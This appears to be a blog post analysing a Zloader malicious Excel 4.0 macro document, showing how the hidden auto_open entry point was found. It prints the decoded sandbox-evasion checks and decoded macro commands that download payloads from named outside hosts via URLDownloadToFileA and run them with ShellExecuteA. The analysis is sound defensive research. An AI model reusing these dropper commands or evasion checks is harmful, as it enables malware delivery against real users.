Zloader documents now have extra layers of defense making it more difficult to determine the entry point of the macro code as well as adding extra evasion checks.
Thanks to Excel 4.0 macros, everything old is new again and we’ve all had to quickly familiarize ourselves with these archaic macros. At the beginning of April 2020, these macros were rather neat, tidy, and easy to follow.
Then Trickbot came along. Workbook sheets were hidden, macro execution was tossed all over the place, and analysis became much more difficult.
Which brings us to where we are today. @ffforward’s tweet came across my feed yesterday so I thought I’d take a crack at his zloader document to see what’s up. At first blush, it seemed fairly normal. There were not any hidden sheets or password protected macros, and if you look at Sheet2 and zoom out, you’d see the scattered Excel 4.0 commands.
Finding The Starting Point
The difficult bit is figuring out where the macro execution starts. You could try searching for ‘formula’, right-click on the first cell you find, and attempt to step through the macro commands.
However, you would end up with an error since that formula depends upon information having already been written to a different cell. And that can only happen if you first start in the right location.
This means that we really need to find that starting point. Thankfully, @c0ntrol_z wrote about how the label for auto_open was messed up. This ended up hiding the label of entry point from Excel’s name manager, yet still allowing it to auto execute. (For a more detailed explanation, see this thread between @control_z and @BouncyHat). Using the same command as @c0ntrol_z did, oledump.py and a few options gives us similar output.
Using a hex editor, we can overwrite 0x21 with 0x00 and the 0x01 with another character (he chose 0x67). We can now see the entry point at cell V2004.
Now that we know the entry point, we can start stepping through the macro code. This was a very tedious process, but here are the decoded strings, with a brief note of what is being checked.
=FORMULA.FILL("=CLOSE(FALSE)",$AS$58860) => CLOSE active window =APP.MAXIMIZE() =IF(GET.WINDOW(7),GOTO(AS58860),) => Check if window is hidden =IF(GET.WINDOW(20),,GOTO(AS58860)) => Check if window is maximized =IF(GET.WINDOW(23)<3,GOTO(AS58860),) => Check size of window =IF(GET.WORKSPACE(31),GOTO(AS58860),) => Check if macro is in single-step mode =IF(GET.WORKSPACE(13)<770,GOTO(AS$58860),) => Check workspace width =IF(GET.WORKSPACE(14)<390,GOTO(AS$58860),) => Check workspace height =IF(GET.WORKSPACE(19),,GOTO(AS58860)) => Check if mouse is present =IF(GET.WORKSPACE(42),,GOTO(AS58860)) => Check if sounds can be played =IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,GOTO(AS58860)) => Get name of environment in which Excel is running followed by version number
If any of those checks fail, notice how execution ends up at cell AS58860 to close the document.
Rest of the code…
But if you make it through the gauntlet of checks, then the rest of the code execution can take place. Many of these commands seem to have been around since late April. This blog post by Micah Lee shows many of the same commands as the document I’m working off of. The document exports information from the registry, examines it to see if macros are disabled. If so, then continues to download malware and then execute it. Here are a variety of the decoded commands.
=FOPEN(IP22567) =FOPEN("C:\Users\Public\I6yqG.reg") => exported registry information =FREAD(J22179,255) =FREAD(0,255) " ""AccessVBOM""=dwoord:00000000 ""VBAWarnings""=dword:00000002 => "Disable all macros with notification" =CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,FG10424,K233749,0,0) =FORMULA.FILL("=""https://japanjisho.info/wp-keys.php""",$ID$41767) =FORMULA.FILL("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,RC,RC,0,0)",$BA$2119) =FORMULA.FILL("="https://gavrelets.ru/wp-keys.php""",$CV$22613) =FORMULA.FILL("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[-11997]C,RC,0,0)",$P$34610) =FORMULA.FILL("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",RC[-11],R[-21047]C,0,5)",$AG$31196) =CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,ID41767,DA42432,0,0)
Looking over the past month or so, we can see the same core commands that zloader was using at the beginning of April. The attackers have just added more layers on top to make analysis more difficult.
And the dance goes ever on…
Thanks for reading!